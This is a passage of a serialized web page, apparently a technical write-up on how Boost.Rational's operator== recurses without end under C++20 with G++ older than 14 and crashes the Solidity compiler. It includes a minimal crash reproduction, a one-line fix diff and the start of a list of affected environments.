rational\n",{"type":23,"tag":504,"props":93256,"children":93257},{"class":5016,"line":5099},[93258],{"type":23,"tag":504,"props":93259,"children":93260},{"style":5058},[93261],{"type":29,"value":12926},{"type":23,"tag":504,"props":93263,"children":93264},{"class":5016,"line":5203},[93265],{"type":23,"tag":504,"props":93266,"children":93267},{"style":5058},[93268],{"type":29,"value":22392},{"type":23,"tag":504,"props":93270,"children":93271},{"class":5016,"line":5308},[93272],{"type":23,"tag":504,"props":93273,"children":93274},{"style":5030},[93275],{"type":29,"value":92538},{"type":23,"tag":504,"props":93277,"children":93278},{"class":5016,"line":5336},[93279],{"type":23,"tag":504,"props":93280,"children":93281},{"style":5058},[93282],{"type":29,"value":22392},{"type":23,"tag":504,"props":93284,"children":93285},{"class":5016,"line":5349},[93286],{"type":23,"tag":504,"props":93287,"children":93288},{"style":5058},[93289],{"type":29,"value":63848},{"type":23,"tag":504,"props":93291,"children":93292},{"class":5016,"line":5367},[93293,93297,93301,93305,93309],{"type":23,"tag":504,"props":93294,"children":93295},{"style":5030},[93296],{"type":29,"value":92546},{"type":23,"tag":504,"props":93298,"children":93299},{"style":5058},[93300],{"type":29,"value":10764},{"type":23,"tag":504,"props":93302,"children":93303},{"style":5030},[93304],{"type":29,"value":72474},{"type":23,"tag":504,"props":93306,"children":93307},{"style":5467},[93308],{"type":29,"value":7964},{"type":23,"tag":504,"props":93310,"children":93311},{"style":5058},[93312],{"type":29,"value":8038},{"type":23,"tag":504,"props":93314,"children":93315},{"class":5016,"line":5388},[93316,93321,93325,93330,93334,93338,93342,93347,93351,93355,93359,93363,93367,93371,93376,93380,93384,93388,93392,93396],{"type":23,"tag":504,"props":93317,"children":93318},{"style":5058},[93319],{"type":29,"value":93320},"    BOOST_CONSTEXPR ",{"type":23,"tag":504,"props":93322,"children":93323},{"style":5030},[93324],{"type":29,"value":92505},{"type":23,"tag":504,"props":93326,"children":93327},{"style":5058},[93328],{"type":29,"value":93329}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":504,"props":93331,"children":93332},{"style":5467},[93333],{"type":29,"value":8033},{"type":23,"tag":504,"props":93335,"children":93336},{"style":5058},[93337],{"type":29,"value":4367},{"type":23,"tag":504,"props":93339,"children":93340},{"style":5467},[93341],{"type":29,"value":92739},{"type":23,"tag":504,"props":93343,"children":93344},{"style":5058},[93345],{"type":29,"value":93346},">::",{"type":23,"tag":504,"props":93348,"children":93349},{"style":5467},[93350],{"type":29,"value":41208},{"type":23,"tag":504,"props":93352,"children":93353},{"style":5058},[93354],{"type":29,"value":4367},{"type":23,"tag":504,"props":93356,"children":93357},{"style":5030},[93358],{"type":29,"value":31740},{"type":23,"tag":504,"props":93360,"children":93361},{"style":5058},[93362],{"type":29,"value":93346},{"type":23,"tag":504,"props":93364,"children":93365},{"style":5467},[93366],{"type":29,"value":34812},{"type":23,"tag":504,"props":93368,"children":93369},{"style":5030},[93370],{"type":29,"value":92574},{"type":23,"tag":504,"props":93372,"children":93373},{"style":5058},[93374],{"type":29,"value":93375},"== (",{"type":23,"tag":504,"props":93377,"children":93378},{"style":5030},[93379],{"type":29,"value":11701},{"type":23,"tag":504,"props":93381,"children":93382},{"style":5467},[93383],{"type":29,"value":7964},{"type":23,"tag":504,"props":93385,"children":93386},{"style":5030},[93387],{"type":29,"value":5151},{"type":23,"tag":504,"props":93389,"children":93390},{"style":5041},[93391],{"type":29,"value":5446},{"type":23,"tag":504,"props":93393,"children":93394},{"style":5058},[93395],{"type":29,"value":5128},{"type":23,"tag":504,"props":93397,"children":93398},{"style":5030},[93399],{"type":29,"value":93400},"const\n",{"type":23,"tag":504,"props":93402,"children":93403},{"class":5016,"line":5397},[93404],{"type":23,"tag":504,"props":93405,"children":93406},{"style":5058},[93407],{"type":29,"value":31241},{"type":23,"tag":504,"props":93409,"children":93410},{"class":5016,"line":5649},[93411,93416,93421,93425,93429,93433,93437,93441,93445,93450,93454],{"type":23,"tag":504,"props":93412,"children":93413},{"style":5067},[93414],{"type":29,"value":93415},"       return",{"type":23,"tag":504,"props":93417,"children":93418},{"style":5058},[93419],{"type":29,"value":93420}," ((den ",{"type":23,"tag":504,"props":93422,"children":93423},{"style":5047},[93424],{"type":29,"value":1224},{"type":23,"tag":504,"props":93426,"children":93427},{"style":5139},[93428],{"type":29,"value":92510},{"type":23,"tag":504,"props":93430,"children":93431},{"style":5058},[93432],{"type":29,"value":603},{"type":23,"tag":504,"props":93434,"children":93435},{"style":5083},[93436],{"type":29,"value":826},{"type":23,"tag":504,"props":93438,"children":93439},{"style":5058},[93440],{"type":29,"value":10882},{"type":23,"tag":504,"props":93442,"children":93443},{"style":5047},[93444],{"type":29,"value":75260},{"type":23,"tag":504,"props":93446,"children":93447},{"style":5058},[93448],{"type":29,"value":93449}," (num ",{"type":23,"tag":504,"props":93451,"children":93452},{"style":5047},[93453],{"type":29,"value":1224},{"type":23,"tag":504,"props":93455,"children":93456},{"style":5058},[93457],{"type":29,"value":93458}," i));\n",{"type":23,"tag":504,"props":93460,"children":93461},{"class":5016,"line":5666},[93462],{"type":23,"tag":504,"props":93463,"children":93464},{"style":5058},[93465],{"type":29,"value":5403},{"type":23,"tag":504,"props":93467,"children":93468},{"class":5016,"line":5683},[93469],{"type":23,"tag":504,"props":93470,"children":93471},{"style":5058},[93472],{"type":29,"value":22392},{"type":23,"tag":504,"props":93474,"children":93475},{"class":5016,"line":5696},[93476],{"type":23,"tag":504,"props":93477,"children":93478},{"style":5058},[93479],{"type":29,"value":5965},{"type":23,"tag":504,"props":93481,"children":93482},{"class":5016,"line":5705},[93483],{"type":23,"tag":504,"props":93484,"children":93485},{"emptyLinePlaceholder":15},[93486],{"type":29,"value":5734},{"type":23,"tag":504,"props":93488,"children":93489},{"class":5016,"line":5728},[93490,93494,93498,93502,93506,93510,93514,93518],{"type":23,"tag":504,"props":93491,"children":93492},{"style":5030},[93493],{"type":29,"value":68279},{"type":23,"tag":504,"props":93495,"children":93496},{"style":5058},[93497],{"type":29,"value":10764},{"type":23,"tag":504,"props":93499,"children":93500},{"style":5030},[93501],{"type":29,"value":72474},{"type":23,"tag":504,"props":93503,"children":93504},{"style":5467},[93505],{"type":29,"value":92691},{"type":23,"tag":504,"props":93507,"children":93508},{"style":5058},[93509],{"type":29,"value":4367},{"type":23,"tag":504,"props":93511,"children":93512},{"style":5030},[93513],{"type":29,"value":72474},{"type":23,"tag":504,"props":93515,"children":93516},{"style":5467},[93517],{"type":29,"value":92510},{"type":23,"tag":504,"props":93519,"children":93520},{"style":5058},[93521],{"type":29,"value":8038},{"type":23,"tag":504,"props":93523,"children":93524},{"class":5016,"line":5737},[93525],{"type":23,"tag":504,"props":93526,"children":93527},{"style":5058},[93528],{"type":29,"value":93529},"BOOST_CONSTEXPR\n",{"type":23,"tag":504,"props":93531,"children":93532},{"class":5016,"line":5746},[93533,93538,93543,93548,93553],{"type":23,"tag":504,"props":93534,"children":93535},{"style":5030},[93536],{"type":29,"value":93537},"inline",{"type":23,"tag":504,"props":93539,"children":93540},{"style":5030},[93541],{"type":29,"value":93542}," typename",{"type":23,"tag":504,"props":93544,"children":93545},{"style":5058},[93546],{"type":29,"value":93547}," boost::",{"type":23,"tag":504,"props":93549,"children":93550},{"style":5467},[93551],{"type":29,"value":93552},"enable_if_c",{"type":23,"tag":504,"props":93554,"children":93555},{"style":5047},[93556],{"type":29,"value":93557}," \u003C\n",{"type":23,"tag":504,"props":93559,"children":93560},{"class":5016,"line":5813},[93561,93566,93571,93575,93579,93584,93588,93592],{"type":23,"tag":504,"props":93562,"children":93563},{"style":5058},[93564],{"type":29,"value":93565},"   rational_detail::is_compatible_integer\u003C",{"type":23,"tag":504,"props":93567,"children":93568},{"style":5467},[93569],{"type":29,"value":93570},"Arg",{"type":23,"tag":504,"props":93572,"children":93573},{"style":5058},[93574],{"type":29,"value":4367},{"type":23,"tag":504,"props":93576,"children":93577},{"style":5467},[93578],{"type":29,"value":92739},{"type":23,"tag":504,"props":93580,"children":93581},{"style":5058},[93582],{"type":29,"value":93583},">::value, ",{"type":23,"tag":504,"props":93585,"children":93586},{"style":5030},[93587],{"type":29,"value":31740},{"type":23,"tag":504,"props":93589,"children":93590},{"style":5047},[93591],{"type":29,"value":12508},{"type":23,"tag":504,"props":93593,"children":93594},{"style":5058},[93595],{"type":29,"value":93596},"::type\n",{"type":23,"tag":504,"props":93598,"children":93599},{"class":5016,"line":5821},[93600,93605,93610,93614,93618,93622,93626,93630,93634,93638,93642,93646,93650,93654,93658],{"type":23,"tag":504,"props":93601,"children":93602},{"style":5030},[93603],{"type":29,"value":93604},"   operator",{"type":23,"tag":504,"props":93606,"children":93607},{"style":5058},[93608],{"type":29,"value":93609}," == (",{"type":23,"tag":504,"props":93611,"children":93612},{"style":5030},[93613],{"type":29,"value":11701},{"type":23,"tag":504,"props":93615,"children":93616},{"style":5467},[93617],{"type":29,"value":92691},{"type":23,"tag":504,"props":93619,"children":93620},{"style":5030},[93621],{"type":29,"value":5151},{"type":23,"tag":504,"props":93623,"children":93624},{"style":5041},[93625],{"type":29,"value":92772},{"type":23,"tag":504,"props":93627,"children":93628},{"style":5058},[93629],{"type":29,"value":4367},{"type":23,"tag":504,"props":93631,"children":93632},{"style":5030},[93633],{"type":29,"value":11701},{"type":23,"tag":504,"props":93635,"children":93636},{"style":5467},[93637],{"type":29,"value":92526},{"type":23,"tag":504,"props":93639,"children":93640},{"style":5058},[93641],{"type":29,"value":2658},{"type":23,"tag":504,"props":93643,"children":93644},{"style":5467},[93645],{"type":29,"value":92739},{"type":23,"tag":504,"props":93647,"children":93648},{"style":5058},[93649],{"type":29,"value":12508},{"type":23,"tag":504,"props":93651,"children":93652},{"style":5030},[93653],{"type":29,"value":5151},{"type":23,"tag":504,"props":93655,"children":93656},{"style":5041},[93657],{"type":29,"value":91898},{"type":23,"tag":504,"props":93659,"children":93660},{"style":5058},[93661],{"type":29,"value":5200},{"type":23,"tag":504,"props":93663,"children":93664},{"class":5016,"line":5851},[93665],{"type":23,"tag":504,"props":93666,"children":93667},{"style":5058},[93668],{"type":29,"value":12926},{"type":23,"tag":504,"props":93670,"children":93671},{"class":5016,"line":5859},[93672,93676,93680,93684],{"type":23,"tag":504,"props":93673,"children":93674},{"style":5067},[93675],{"type":29,"value":41413},{"type":23,"tag":504,"props":93677,"children":93678},{"style":5058},[93679],{"type":29,"value":18812},{"type":23,"tag":504,"props":93681,"children":93682},{"style":5047},[93683],{"type":29,"value":1224},{"type":23,"tag":504,"props":93685,"children":93686},{"style":5058},[93687],{"type":29,"value":93688}," b; \n",{"type":23,"tag":504,"props":93690,"children":93691},{"class":5016,"line":5891},[93692],{"type":23,"tag":504,"props":93693,"children":93694},{"style":5058},[93695],{"type":29,"value":5965},{"type":23,"tag":32,"props":93697,"children":93698},{},[93699,93701,93707],{"type":29,"value":93700},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":154,"props":93702,"children":93704},{"className":93703},[],[93705],{"type":29,"value":93706},"rhs == lhs",{"type":29,"value":93708}," would fall back to member overloads if available. All good.",{"type":23,"tag":32,"props":93710,"children":93711},{},[93712,93714,93719,93720,93726],{"type":29,"value":93713},"But under ",{"type":23,"tag":154,"props":93715,"children":93717},{"className":93716},[],[93718],{"type":29,"value":92263},{"type":29,"value":23556},{"type":23,"tag":154,"props":93721,"children":93723},{"className":93722},[],[93724],{"type":29,"value":93725},"G++ \u003C 14",{"type":29,"value":6533},{"type":23,"tag":1022,"props":93728,"children":93729},{},[93730,93735,93740,93745],{"type":23,"tag":143,"props":93731,"children":93732},{},[93733],{"type":29,"value":93734},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":143,"props":93736,"children":93737},{},[93738],{"type":29,"value":93739},"C++20 reverses the comparison",{"type":23,"tag":143,"props":93741,"children":93742},{},[93743],{"type":29,"value":93744},"Which calls the same function again with arguments flipped",{"type":23,"tag":143,"props":93746,"children":93747},{},[93748],{"type":29,"value":93749},"And so on...",{"type":23,"tag":32,"props":93751,"children":93752},{},[93753,93755,93760],{"type":29,"value":93754},"This creates ",{"type":23,"tag":38,"props":93756,"children":93757},{},[93758],{"type":29,"value":93759},"infinite recursion",{"type":29,"value":357},{"type":23,"tag":32,"props":93762,"children":93763},{},[93764],{"type":29,"value":93765},"A minimal example:",{"type":23,"tag":4743,"props":93767,"children":93769},{"code":93768,"language":31166,"meta":7,"className":31164,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[93770],{"type":23,"tag":154,"props":93771,"children":93772},{"__ignoreMap":7},[93773,93781,93793,93800,93815,93839,93862],{"type":23,"tag":504,"props":93774,"children":93775},{"class":5016,"line":5017},[93776],{"type":23,"tag":504,"props":93777,"children":93778},{"style":5021},[93779],{"type":29,"value":93780},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":504,"props":93782,"children":93783},{"class":5016,"line":4868},[93784,93788],{"type":23,"tag":504,"props":93785,"children":93786},{"style":5067},[93787],{"type":29,"value":92477},{"type":23,"tag":504,"props":93789,"children":93790},{"style":6297},[93791],{"type":29,"value":93792}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":504,"props":93794,"children":93795},{"class":5016,"line":4876},[93796],{"type":23,"tag":504,"props":93797,"children":93798},{"emptyLinePlaceholder":15},[93799],{"type":29,"value":5734},{"type":23,"tag":504,"props":93801,"children":93802},{"class":5016,"line":5099},[93803,93807,93811],{"type":23,"tag":504,"props":93804,"children":93805},{"style":5030},[93806],{"type":29,"value":21098},{"type":23,"tag":504,"props":93808,"children":93809},{"style":5139},[93810],{"type":29,"value":92842},{"type":23,"tag":504,"props":93812,"children":93813},{"style":5058},[93814],{"type":29,"value":17783},{"type":23,"tag":504,"props":93816,"children":93817},{"class":5016,"line":5203},[93818,93823,93827,93831,93835],{"type":23,"tag":504,"props":93819,"children":93820},{"style":5058},[93821],{"type":29,"value":93822},"    boost::rational",{"type":23,"tag":504,"props":93824,"children":93825},{"style":5047},[93826],{"type":29,"value":2658},{"type":23,"tag":504,"props":93828,"children":93829},{"style":5030},[93830],{"type":29,"value":21098},{"type":23,"tag":504,"props":93832,"children":93833},{"style":5047},[93834],{"type":29,"value":12508},{"type":23,"tag":504,"props":93836,"children":93837},{"style":5058},[93838],{"type":29,"value":92871},{"type":23,"tag":504,"props":93840,"children":93841},{"class":5016,"line":5308},[93842,93846,93850,93854,93858],{"type":23,"tag":504,"props":93843,"children":93844},{"style":5067},[93845],{"type":29,"value":19037},{"type":23,"tag":504,"props":93847,"children":93848},{"style":5058},[93849],{"type":29,"value":92883},{"type":23,"tag":504,"props":93851,"children":93852},{"style":5047},[93853],{"type":29,"value":1224},{"type":23,"tag":504,"props":93855,"children":93856},{"style":5083},[93857],{"type":29,"value":5086},{"type":23,"tag":504,"props":93859,"children":93860},{"style":5058},[93861],{"type":29,"value":5061},{"type":23,"tag":504,"props":93863,"children":93864},{"class":5016,"line":5336},[93865],{"type":23,"tag":504,"props":93866,"children":93867},{"style":5058},[93868],{"type":29,"value":5965},{"type":23,"tag":32,"props":93870,"children":93871},{},[93872],{"type":29,"value":93873},"Expected output: nothing.",{"type":23,"tag":32,"props":93875,"children":93876},{},[93877],{"type":29,"value":93878},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":32,"props":93880,"children":93881},{},[93882,93884,93891],{"type":29,"value":93883},"This exact pattern was ",{"type":23,"tag":68,"props":93885,"children":93888},{"href":93886,"rel":93887},"https://github.com/boostorg/rational/issues/43",[72],[93889],{"type":29,"value":93890},"reported and fixed in Boost rational",{"type":29,"value":93892},", but only in version 1.75+.",{"type":23,"tag":32,"props":93894,"children":93895},{},[93896],{"type":29,"value":93897},"Here’s the one-line fix:",{"type":23,"tag":4743,"props":93899,"children":93901},{"code":93900,"language":42419,"meta":7,"className":42417,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[93902],{"type":23,"tag":154,"props":93903,"children":93904},{"__ignoreMap":7},[93905,93913,93920,93928,93936,93944,93951,93959,93967],{"type":23,"tag":504,"props":93906,"children":93907},{"class":5016,"line":5017},[93908],{"type":23,"tag":504,"props":93909,"children":93910},{"style":5058},[93911],{"type":29,"value":93912},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":504,"props":93914,"children":93915},{"class":5016,"line":4868},[93916],{"type":23,"tag":504,"props":93917,"children":93918},{"style":5058},[93919],{"type":29,"value":93529},{"type":23,"tag":504,"props":93921,"children":93922},{"class":5016,"line":4876},[93923],{"type":23,"tag":504,"props":93924,"children":93925},{"style":5058},[93926],{"type":29,"value":93927},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":504,"props":93929,"children":93930},{"class":5016,"line":5099},[93931],{"type":23,"tag":504,"props":93932,"children":93933},{"style":5058},[93934],{"type":29,"value":93935},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":504,"props":93937,"children":93938},{"class":5016,"line":5203},[93939],{"type":23,"tag":504,"props":93940,"children":93941},{"style":5058},[93942],{"type":29,"value":93943},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":504,"props":93945,"children":93946},{"class":5016,"line":5308},[93947],{"type":23,"tag":504,"props":93948,"children":93949},{"style":5058},[93950],{"type":29,"value":12926},{"type":23,"tag":504,"props":93952,"children":93953},{"class":5016,"line":5336},[93954],{"type":23,"tag":504,"props":93955,"children":93956},{"style":6297},[93957],{"type":29,"value":93958},"-     return a == b;\n",{"type":23,"tag":504,"props":93960,"children":93961},{"class":5016,"line":5349},[93962],{"type":23,"tag":504,"props":93963,"children":93964},{"style":5083},[93965],{"type":29,"value":93966},"+     return a.operator==(b);\n",{"type":23,"tag":504,"props":93968,"children":93969},{"class":5016,"line":5367},[93970],{"type":23,"tag":504,"props":93971,"children":93972},{"style":5058},[93973],{"type":29,"value":5965},{"type":23,"tag":32,"props":93975,"children":93976},{},[93977,93979,93984,93986,93991],{"type":29,"value":93978},"Instead of calling ",{"type":23,"tag":154,"props":93980,"children":93982},{"className":93981},[],[93983],{"type":29,"value":92309},{"type":29,"value":93985}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":154,"props":93987,"children":93989},{"className":93988},[],[93990],{"type":29,"value":92317},{"type":29,"value":357},{"type":23,"tag":32,"props":93993,"children":93994},{},[93995],{"type":29,"value":93996},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":20844,"props":93998,"children":93999},{},[],{"type":23,"tag":24,"props":94001,"children":94003},{"id":94002},"part-iv-how-this-breaks-solidity",[94004],{"type":29,"value":94005},"Part IV: How This Breaks Solidity",{"type":23,"tag":32,"props":94007,"children":94008},{},[94009,94011,94016],{"type":29,"value":94010},"The Solidity codebase uses ",{"type":23,"tag":154,"props":94012,"children":94014},{"className":94013},[],[94015],{"type":29,"value":92164},{"type":29,"value":94017}," to represent certain compile-time constant expressions.",{"type":23,"tag":32,"props":94019,"children":94020},{},[94021,94023,94029],{"type":29,"value":94022},"One snippet that can trigger this issue appears in ",{"type":23,"tag":154,"props":94024,"children":94026},{"className":94025},[],[94027],{"type":29,"value":94028},"DeclarationTypeChecker::endVisit",{"type":29,"value":6533},{"type":23,"tag":4743,"props":94031,"children":94033},{"code":94032,"language":31166,"meta":7,"className":31164,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[94034],{"type":23,"tag":154,"props":94035,"children":94036},{"__ignoreMap":7},[94037,94084,94109,94116,94194,94201,94254,94282,94289,94309,94316,94356,94363],{"type":23,"tag":504,"props":94038,"children":94039},{"class":5016,"line":5017},[94040,94044,94049,94053,94057,94062,94066,94071,94075,94079],{"type":23,"tag":504,"props":94041,"children":94042},{"style":5067},[94043],{"type":29,"value":17626},{"type":23,"tag":504,"props":94045,"children":94046},{"style":5058},[94047],{"type":29,"value":94048}," (Expression ",{"type":23,"tag":504,"props":94050,"children":94051},{"style":5030},[94052],{"type":29,"value":11701},{"type":23,"tag":504,"props":94054,"children":94055},{"style":5047},[94056],{"type":29,"value":6613},{"type":23,"tag":504,"props":94058,"children":94059},{"style":5058},[94060],{"type":29,"value":94061}," length ",{"type":23,"tag":504,"props":94063,"children":94064},{"style":5047},[94065],{"type":29,"value":546},{"type":23,"tag":504,"props":94067,"children":94068},{"style":5041},[94069],{"type":29,"value":94070}," _typeName",{"type":23,"tag":504,"props":94072,"children":94073},{"style":5058},[94074],{"type":29,"value":357},{"type":23,"tag":504,"props":94076,"children":94077},{"style":5139},[94078],{"type":29,"value":10549},{"type":23,"tag":504,"props":94080,"children":94081},{"style":5058},[94082],{"type":29,"value":94083},"()) {\n",{"type":23,"tag":504,"props":94085,"children":94086},{"class":5016,"line":4868},[94087,94092,94096,94100,94104],{"type":23,"tag":504,"props":94088,"children":94089},{"style":5058},[94090],{"type":29,"value":94091},"    std::optional",{"type":23,"tag":504,"props":94093,"children":94094},{"style":5047},[94095],{"type":29,"value":2658},{"type":23,"tag":504,"props":94097,"children":94098},{"style":5058},[94099],{"type":29,"value":93169},{"type":23,"tag":504,"props":94101,"children":94102},{"style":5047},[94103],{"type":29,"value":12508},{"type":23,"tag":504,"props":94105,"children":94106},{"style":5058},[94107],{"type":29,"value":94108}," lengthValue;\n",{"type":23,"tag":504,"props":94110,"children":94111},{"class":5016,"line":4876},[94112],{"type":23,"tag":504,"props":94113,"children":94114},{"emptyLinePlaceholder":15},[94115],{"type":29,"value":5734},{"type":23,"tag":504,"props":94117,"children":94118},{"class":5016,"line":5099},[94119,94123,94127,94131,94135,94139,94143,94147,94151,94156,94160,94164,94168,94172,94176,94181,94185,94189],{"type":23,"tag":504,"props":94120,"children":94121},{"style":5067},[94122],{"type":29,"value":14325},{"type":23,"tag":504,"props":94124,"children":94125},{"style":5058},[94126],{"type":29,"value":5110},{"type":23,"tag":504,"props":94128,"children":94129},{"style":5041},[94130],{"type":29,"value":10549},{"type":23,"tag":504,"props":94132,"children":94133},{"style":5058},[94134],{"type":29,"value":15803},{"type":23,"tag":504,"props":94136,"children":94137},{"style":5139},[94138],{"type":29,"value":32218},{"type":23,"tag":504,"props":94140,"children":94141},{"style":5058},[94142],{"type":29,"value":32223},{"type":23,"tag":504,"props":94144,"children":94145},{"style":5041},[94146],{"type":29,"value":34812},{"type":23,"tag":504,"props":94148,"children":94149},{"style":5047},[94150],{"type":29,"value":16231},{"type":23,"tag":504,"props":94152,"children":94153},{"style":5041},[94154],{"type":29,"value":94155}," length",{"type":23,"tag":504,"props":94157,"children":94158},{"style":5058},[94159],{"type":29,"value":15803},{"type":23,"tag":504,"props":94161,"children":94162},{"style":5139},[94163],{"type":29,"value":32218},{"type":23,"tag":504,"props":94165,"children":94166},{"style":5058},[94167],{"type":29,"value":32223},{"type":23,"tag":504,"props":94169,"children":94170},{"style":5041},[94171],{"type":29,"value":34812},{"type":23,"tag":504,"props":94173,"children":94174},{"style":5058},[94175],{"type":29,"value":15803},{"type":23,"tag":504,"props":94177,"children":94178},{"style":5139},[94179],{"type":29,"value":94180},"category",{"type":23,"tag":504,"props":94182,"children":94183},{"style":5058},[94184],{"type":29,"value":16089},{"type":23,"tag":504,"props":94186,"children":94187},{"style":5047},[94188],{"type":29,"value":1224},{"type":23,"tag":504,"props":94190,"children":94191},{"style":5058},[94192],{"type":29,"value":94193}," Type::Category::RationalNumber)\n",{"type":23,"tag":504,"props":94195,"children":94196},{"class":5016,"line":5203},[94197],{"type":23,"tag":504,"props":94198,"children":94199},{"style":5058},[94200],{"type":29,"value":83906},{"type":23,"tag":504,"props":94202,"children":94203},{"class":5016,"line":5308},[94204,94209,94213,94218,94222,94227,94231,94236,94240,94245,94249],{"type":23,"tag":504,"props":94205,"children":94206},{"style":5067},[94207],{"type":29,"value":94208},"    else",{"type":23,"tag":504,"props":94210,"children":94211},{"style":5067},[94212],{"type":29,"value":17835},{"type":23,"tag":504,"props":94214,"children":94215},{"style":5058},[94216],{"type":29,"value":94217}," (std::optional",{"type":23,"tag":504,"props":94219,"children":94220},{"style":5047},[94221],{"type":29,"value":2658},{"type":23,"tag":504,"props":94223,"children":94224},{"style":5058},[94225],{"type":29,"value":94226},"ConstantEvaluator::TypedRational",{"type":23,"tag":504,"props":94228,"children":94229},{"style":5047},[94230],{"type":29,"value":12508},{"type":23,"tag":504,"props":94232,"children":94233},{"style":5058},[94234],{"type":29,"value":94235}," value ",{"type":23,"tag":504,"props":94237,"children":94238},{"style":5047},[94239],{"type":29,"value":546},{"type":23,"tag":504,"props":94241,"children":94242},{"style":5058},[94243],{"type":29,"value":94244}," ConstantEvaluator::",{"type":23,"tag":504,"props":94246,"children":94247},{"style":5139},[94248],{"type":29,"value":40061},{"type":23,"tag":504,"props":94250,"children":94251},{"style":5058},[94252],{"type":29,"value":94253},"(...))\n",{"type":23,"tag":504,"props":94255,"children":94256},{"class":5016,"line":5336},[94257,94262,94266,94270,94274,94278],{"type":23,"tag":504,"props":94258,"children":94259},{"style":5058},[94260],{"type":29,"value":94261},"        lengthValue ",{"type":23,"tag":504,"props":94263,"children":94264},{"style":5047},[94265],{"type":29,"value":546},{"type":23,"tag":504,"props":94267,"children":94268},{"style":5041},[94269],{"type":29,"value":34566},{"type":23,"tag":504,"props":94271,"children":94272},{"style":5058},[94273],{"type":29,"value":15803},{"type":23,"tag":504,"props":94275,"children":94276},{"style":5041},[94277],{"type":29,"value":41208},{"type":23,"tag":504,"props":94279,"children":94280},{"style":5058},[94281],{"type":29,"value":5061},{"type":23,"tag":504,"props":94283,"children":94284},{"class":5016,"line":5349},[94285],{"type":23,"tag":504,"props":94286,"children":94287},{"emptyLinePlaceholder":15},[94288],{"type":29,"value":5734},{"type":23,"tag":504,"props":94290,"children":94291},{"class":5016,"line":5367},[94292,94296,94300,94304],{"type":23,"tag":504,"props":94293,"children":94294},{"style":5067},[94295],{"type":29,"value":14325},{"type":23,"tag":504,"props":94297,"children":94298},{"style":5058},[94299],{"type":29,"value":5110},{"type":23,"tag":504,"props":94301,"children":94302},{"style":5047},[94303],{"type":29,"value":22674},{"type":23,"tag":504,"props":94305,"children":94306},{"style":5058},[94307],{"type":29,"value":94308},"lengthValue)\n",{"type":23,"tag":504,"props":94310,"children":94311},{"class":5016,"line":5388},[94312],{"type":23,"tag":504,"props":94313,"children":94314},{"style":5058},[94315],{"type":29,"value":83906},{"type":23,"tag":504,"props":94317,"children":94318},{"class":5016,"line":5397},[94319,94323,94327,94331,94335,94339,94343,94347,94351],{"type":23,"tag":504,"props":94320,"children":94321},{"style":5067},[94322],{"type":29,"value":94208},{"type":23,"tag":504,"props":94324,"children":94325},{"style":5067},[94326],{"type":29,"value":17835},{"type":23,"tag":504,"props":94328,"children":94329},{"style":5058},[94330],{"type":29,"value":5110},{"type":23,"tag":504,"props":94332,"children":94333},{"style":5047},[94334],{"type":29,"value":6613},{"type":23,"tag":504,"props":94336,"children":94337},{"style":5058},[94338],{"type":29,"value":92140},{"type":23,"tag":504,"props":94340,"children":94341},{"style":5047},[94342],{"type":29,"value":1224},{"type":23,"tag":504,"props":94344,"children":94345},{"style":5083},[94346],{"type":29,"value":5086},{"type":23,"tag":504,"props":94348,"children":94349},{"style":5058},[94350],{"type":29,"value":933},{"type":23,"tag":504,"props":94352,"children":94353},{"style":5021},[94354],{"type":29,"value":94355},"  // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":504,"props":94357,"children":94358},{"class":5016,"line":5649},[94359],{"type":23,"tag":504,"props":94360,"children":94361},{"style":5058},[94362],{"type":29,"value":83906},{"type":23,"tag":504,"props":94364,"children":94365},{"class":5016,"line":5666},[94366],{"type":23,"tag":504,"props":94367,"children":94368},{"style":5058},[94369],{"type":29,"value":5965},{"type":23,"tag":32,"props":94371,"children":94372},{},[94373],{"type":29,"value":94374},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":1022,"props":94376,"children":94377},{},[94378,94383,94388],{"type":23,"tag":143,"props":94379,"children":94380},{},[94381],{"type":29,"value":94382},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":143,"props":94384,"children":94385},{},[94386],{"type":29,"value":94387},"C++20 reverses the arguments",{"type":23,"tag":143,"props":94389,"children":94390},{},[94391],{"type":29,"value":94392},"The non-member operator recursively calls itself",{"type":23,"tag":32,"props":94394,"children":94395},{},[94396],{"type":29,"value":94397},"💥: segmentation fault.",{"type":23,"tag":20844,"props":94399,"children":94400},{},[],{"type":23,"tag":24,"props":94402,"children":94404},{"id":94403},"part-v-what-environments-are-affected",[94405],{"type":29,"value":94406},"Part V: What Environments are Affected?",{"type":23,"tag":32,"props":94408,"children":94409},{},[94410],{"type":29,"value":94411},"If a system uses any of the following:",{"type":23,"tag":1022,"props":94413,"children":94414},{},[94415,94420,94425],{"type":23,"tag":143,"props":94416,"children":94417},{},[94418],{"type":29,"value":94419},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":143,"props":94421,"children":94422},{},[94423],{"type":29,"value":94424},"Boost \u003C 1.75 (e.g., 1.74 ships with 